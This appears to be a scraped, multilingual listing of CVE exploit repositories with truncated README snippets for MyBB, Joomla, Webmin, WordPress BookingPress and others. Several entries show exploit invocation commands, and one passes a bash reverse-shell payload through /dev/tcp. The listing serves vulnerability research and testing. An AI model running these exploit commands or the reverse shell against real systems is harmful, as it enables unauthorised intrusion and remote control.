mybb-CVE-2022-24734

mybb-CVE-2022-24734 MyBB 1.8.29 - 远程代码执行 root@kitploit: git clone https://github.com/lavclash75/mybb-CVE-2022-24734.git cd "mybb-CVE-2022-24734" docker-compose down docker system prune -a docker rm -f $docker ps -a -q docker volume rm $docker volume ls -q docker-compose up -d...

CVE-2019-15053

CVE-2019-15053 FAB-2019-00156 由我发现的漏洞 CVE-2019-15053 公告：advisory.txt 基本信息 root@kitploit: Advisory ID..........: FAB-2019-00156 Product..............: HTML Include and replace macro Manufacturer.........: The Plugin People Affected Versions..: 1.4.2 and before Tested Versions....: 1.4.2...

apache__dolphinscheduler_CVE-2022-34662_2-0-9

Sitio web oficial de Dolphin Scheduler dolphinscheduler.apache.org...

CVE-2023-23752

CVE-2023-23752 Joomla! v4.2.8 - 未授权信息泄露 要执行此脚本，我们需要安装几个缺少的 gem： root@kitploit: sudo gem install httpx sudo gem install docopt sudo gem install paint root@kitploit: ruby exploit.rb http://dev.devvortex.htb...

CVE-2020-3161

CVE-2020-3161 Cisco IP Phone 11.7 - Denial of Service PoC...

CVE-2022-31301

CVE-2022-31301 Haraj Script 3.7 - Post Ads Authenticated Stored XSS Exploit Title: Haraj Script 3.7 - Authenticated Stored XSS Date: 2022-06-13 CVE: CVE-2022-31301 Exploit Author: Abdulaziz Saad @b4zb0z Vendor Homepage: https://angtech.org/ Software Link: https://angtech.org/product/view/3 Versio...

CVE-2025-51400

Exploit Title: LiveHelperChat =4.61 - Stored Cross Site Scripting XSS via Personal Canned Messages Date: 09/06/2025 Exploit Author: Manojkumar J TheWhiteEvil Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/ Vendor Homepage: https://github.com/LiveHelperChat/livehelperchat/ Software...

CVE-2025-3102

CVE-2025-3102 SureTriggers WordPress 插件存在一个严重身份验证绕过漏洞（CVE-2025-3102），影响所有版本，包括1.0.78及之前版本。...

spring-webmvc5

spring-webmvc5 Fork spring-webmvc 5.3.39 to fix CVE-2024-38816, CVE-2024-38819 Maven 在项目的pom.xml的dependencies中加入以下内容: root@kitploit: io.github.jaloon spring-webmvc5 5.3.39.1...

OpenSSL-1_0_1g_CVE-2015-1792

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. DESCRIPTION The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, fully featured, and Open Source toolkit implementing the...

cve-2022-33082-exploit

CVE 2022-33082 漏洞利用 免责声明 此代码仅供道德 目的使用——理解漏洞并测试自己的系统或已授权的系统。使用即表示您同意遵循道德规范，如未遵循，本人不承担任何责任。 该漏洞利用适用于 Open Policy Agent OPA 0.41.0 及更低版本。在 Linux 上安装 OPA 实例以测试，命令如下： curl -L -o opa https://openpolicyagent.org/downloads/v0.41.0/opalinuxamd64static chmod +x opa ./opa run --server 然后，在网页浏览器中导航至...

Next.JS-CVE-2025-29927

Next.js Vulnerability Scanner CVE-2025-29927 A security tool to detect and verify Next.js applications vulnerable to CVE-2025-29927 Authentication Bypass. Features 🎯 Accurate Next.js detection with multiple verification methods 🔍 Precise version comparison to identify vulnerable instances 🛡️...

CVE-2018-16167

安装及执行顺序 0. 安装LogonTracer 从DockerHub下载存在漏洞的LogonTracer v1.2.0版本。 root@kitploit: $docker pull jpcertcc/docker-logontracer:v1.2.0 1. 运行LogonTracer 使用以下命令启动容器： root@kitploit: $docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e LTHOSTNAME=IPADDR ...

yamcs__yamcs_CVE-2023-45277_5-8-6

Yamcs Mission Control Sitio web: https://yamcs.org Lista de correo: Google Groups Yamcs es un marco de trabajo para control de misiones desarrollado en Java. Utiliza una arquitectura abierta que permite adaptar su conjunto de funcionalidades mediante archivos de configuración yaml. También puedes...

ESAPI__esapi-java-legacy_CVE-2022-24891_2-2-3-1

Enterprise Security API para Java Legado OWASP® ESAPI OWASP Enterprise Security API es una biblioteca de controles de seguridad para aplicaciones web, gratuita y de código abierto, que facilita a los programadores la escritura de aplicaciones de menor riesgo. La biblioteca ESAPI para Java está...

wp_bookingpress_1.0.11

CVE-2022-0739 CVE-2022-0739 Wordpress BookingPress Plugin 1.0.11 未认证SQL注入 开始使用 执行程序 使用python3 root@kitploit: python3 sqli.py -u 'http://wordpress.site' -p 'wpnoncevalue' 帮助 帮助菜单： root@kitploit: python3 sqli.py -h 免责声明...

CVE-2024-35511

PHPGurukul Men Salon Management System 2.0 欢迎使用 PHPGurukul Men Salon Management System 2.0 仓库。本项目旨在为男士沙龙管理提供一个健壮的系统。 安全漏洞 CVE-2024-35511 描述: 通过 'username' 参数存在 SQL 注入漏洞。 受影响版本: 2.0 影响: 攻击者可操纵 'username' 参数，可能获得未授权访问。 解决方案: 实施适当的输入验证并使用参数化查询。...

apache__dubbo_CVE-2021-30180_2-7-9

Apache Dubbo 项目...

CVE-2019-15107

CVE-2019-15107 webmin 或 minisever RCE 脚本用法： 已在 v1.890 上测试，但应该也适用于安装了此后门的其他 webmin 版本。 root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...